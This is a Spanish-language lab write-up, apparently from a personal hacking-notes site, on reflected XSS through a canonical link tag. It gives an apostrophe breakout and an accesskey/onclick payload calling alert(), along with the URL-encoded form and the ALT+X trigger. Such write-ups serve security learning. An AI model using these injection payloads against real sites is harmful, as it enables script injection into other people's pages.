> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS reflejado en la etiqueta canónica

### XSS reflejado en la etiqueta de enlace canónica

`canónica` etiqueta que refleja en su `href` el valor proporcionado en la URL (el `<` y `>` los corchetes angulares se escapan). / Propósito: Inyectar un ejecutable **atributo** que llama a `alert()` en la página de inicio.

* El código fuente muestra que hay un `canónica` etiqueta que toma `href` de lo que se introduce en la URL.

<figure><img src="/files/41871b7b7ae5b5233241909361dd6773a0074f1c" alt=""><figcaption></figcaption></figure>

* Puedes salir con un apóstrofo: `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="/files/f8d05e27ba37467e371fbed613a7d76936a693be" alt=""><figcaption></figcaption></figure>

* `accesskey` se puede usar para pulsar una tecla y activar la acción: `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="/files/06ac493ceeecee307773ca12b11d4282c4cb3b9c" alt=""><figcaption></figcaption></figure>

Acción indicada:

```javascript
ALT + X
```

<figure><img src="/files/2ed16d2232d837eeb7a79c5beebb2a94362186b3" alt=""><figcaption></figcaption></figure>


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